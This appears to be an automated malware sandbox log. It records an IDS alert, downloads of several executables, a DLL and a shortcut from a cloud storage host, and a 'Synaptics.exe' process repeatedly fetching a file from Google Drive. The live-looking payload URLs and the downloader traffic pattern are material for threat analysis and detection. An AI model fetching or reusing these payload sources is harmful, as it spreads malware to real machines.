Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:49704 -> 47.254.187.72:80

Source: global traffic	HTTP traffic detected: GET /270/1.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bruplong.oss-accelerate.aliyuncs.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /270/2.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bruplong.oss-accelerate.aliyuncs.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /270/3.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bruplong.oss-accelerate.aliyuncs.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /270/4.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bruplong.oss-accelerate.aliyuncs.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /270/wic.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bruplong.oss-accelerate.aliyuncs.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /270/cbas.exe HTTP/1.1User-Agent: Mozilla/4.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+LinLauncher)Host: bruplong.oss-accelerate.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /270/msslac.dll HTTP/1.1User-Agent: Mozilla/4.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+LinLauncher)Host: bruplong.oss-accelerate.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /270/cbas.lnk HTTP/1.1User-Agent: Mozilla/4.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+LinLauncher)Host: bruplong.oss-accelerate.aliyuncs.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\wic.exe

Code function: 12_2_008635BB GetTickCount,GetTickCount,InternetReadFile,GetTickCount,GetTickCount,InternetCloseHandle,InternetCloseHandle,PostMessageA,

12_2_008635BB

Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=hX1JTupK5fPJskvkmIz1OSlRtO6lhHgnnXEUeMqPDonoLVhOrk7uB3wsVomjBzgmiA8iqd-Edc0-NccUcRD9DlrLXGcX_05DENZi06xa5OpWgStbdxVCVRThgtY8X8vsjG2QgBG0Md2wUl9GmCAs7yivJdSROg7WkDtEWmf2wN2TyOXJSTjimoyp
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Gaj4_HTJBUqeqZHTN1lX6PccM4VQKTn5lQBYkf93aylycITMtrCpfjSMNQCPtP7LM5PqE-rFb39v2vHmBoWBiMkES5VufO4Evfh4ZEUxwJaW5ooBdZeIG_A5YQ9185SbE5jm0CeeGb-YEWfNHTNn7PnB-x0rv4Wv0f6zX32En2iq-Sl6qO4kUuc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Gaj4_HTJBUqeqZHTN1lX6PccM4VQKTn5lQBYkf93aylycITMtrCpfjSMNQCPtP7LM5PqE-rFb39v2vHmBoWBiMkES5VufO4Evfh4ZEUxwJaW5ooBdZeIG_A5YQ9185SbE5jm0CeeGb-YEWfNHTNn7PnB-x0rv4Wv0f6zX32En2iq-Sl6qO4kUuc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=hX1JTupK5fPJskvkmIz1OSlRtO6lhHgnnXEUeMqPDonoLVhOrk7uB3wsVomjBzgmiA8iqd-Edc0-NccUcRD9DlrLXGcX_05DENZi06xa5OpWgStbdxVCVRThgtY8X8vsjG2QgBG0Md2wUl9GmCAs7yivJdSROg7WkDtEWmf2wN2TyOXJSTjimoyp
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=hX1JTupK5fPJskvkmIz1OSlRtO6lhHgnnXEUeMqPDonoLVhOrk7uB3wsVomjBzgmiA8iqd-Edc0-NccUcRD9DlrLXGcX_05DENZi06xa5OpWgStbdxVCVRThgtY8X8vsjG2QgBG0Md2wUl9GmCAs7yivJdSROg7WkDtEWmf2wN2TyOXJSTjimoyp
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Gaj4_HTJBUqeqZHTN1lX6PccM4VQKTn5lQBYkf93aylycITMtrCpfjSMNQCPtP7LM5PqE-rFb39v2vHmBoWBiMkES5VufO4Evfh4ZEUxwJaW5ooBdZeIG_A5YQ9185SbE5jm0CeeGb-YEWfNHTNn7PnB-x0rv4Wv0f6zX32En2iq-Sl6qO4kUuc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Gaj4_HTJBUqeqZHTN1lX6PccM4VQKTn5lQBYkf93aylycITMtrCpfjSMNQCPtP7LM5PqE-rFb39v2vHmBoWBiMkES5VufO4Evfh4ZEUxwJaW5ooBdZeIG_A5YQ9185SbE5jm0CeeGb-YEWfNHTNn7PnB-x0rv4Wv0f6zX32En2iq-Sl6qO4kUuc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Gaj4_HTJBUqeqZHTN1lX6PccM4VQKTn5lQBYkf93aylycITMtrCpfjSMNQCPtP7LM5PqE-rFb39v2vHmBoWBiMkES5VufO4Evfh4ZEUxwJaW5ooBdZeIG_A5YQ9185SbE5jm0CeeGb-YEWfNHTNn7PnB-x0rv4Wv0f6zX32En2iq-Sl6qO4kUuc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Gaj4_HTJBUqeqZHTN1lX6PccM4VQKTn5lQBYkf93aylycITMtrCpfjSMNQCPtP7LM5PqE-rFb39v2vHmBoWBiMkES5VufO4Evfh4ZEUxwJaW5ooBdZeIG_A5YQ9185SbE5jm0CeeGb-YEWfNHTNn7PnB-x0rv4Wv0f6zX32En2iq-Sl6qO4kUuc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Gaj4_HTJBUqeqZHTN1lX6PccM4VQKTn5lQBYkf93aylycITMtrCpfjSMNQCPtP7LM5PqE-rFb39v2vHmBoWBiMkES5VufO4Evfh4ZEUxwJaW5ooBdZeIG_A5YQ9185SbE5jm0CeeGb-YEWfNHTNn7PnB-x0rv4Wv0f6zX32En2iq-Sl6qO4kUuc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Gaj4_HTJBUqeqZHTN1lX6PccM4VQKTn5lQBYkf93aylycITMtrCpfjSMNQCPtP7LM5PqE-rFb39v2vHmBoWBiMkES5VufO4Evfh4ZEUxwJaW5ooBdZeIG_A5YQ9185SbE5jm0CeeGb-YEWfNHTNn7PnB-x0rv4Wv0f6zX32En2iq-Sl6qO4kUuc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Gaj4_HTJBUqeqZHTN1lX6PccM4VQKTn5lQBYkf93aylycITMtrCpfjSMNQCPtP7LM5PqE-rFb39v2vHmBoWBiMkES5VufO4Evfh4ZEUxwJaW5ooBdZeIG_A5YQ9185SbE5jm0CeeGb-YEWfNHTNn7PnB-x0rv4Wv0f6zX32En2iq-Sl6qO4kUuc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Gaj4_HTJBUqeqZHTN1lX6PccM4VQKTn5lQBYkf93aylycITMtrCpfjSMNQCPtP7LM5PqE-rFb39v2vHmBoWBiMkES5VufO4Evfh4ZEUxwJaW5ooBdZeIG_A5YQ9185SbE5jm0CeeGb-YEWfNHTNn7PnB-x0rv4Wv0f6zX32En2iq-Sl6qO4kUuc
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
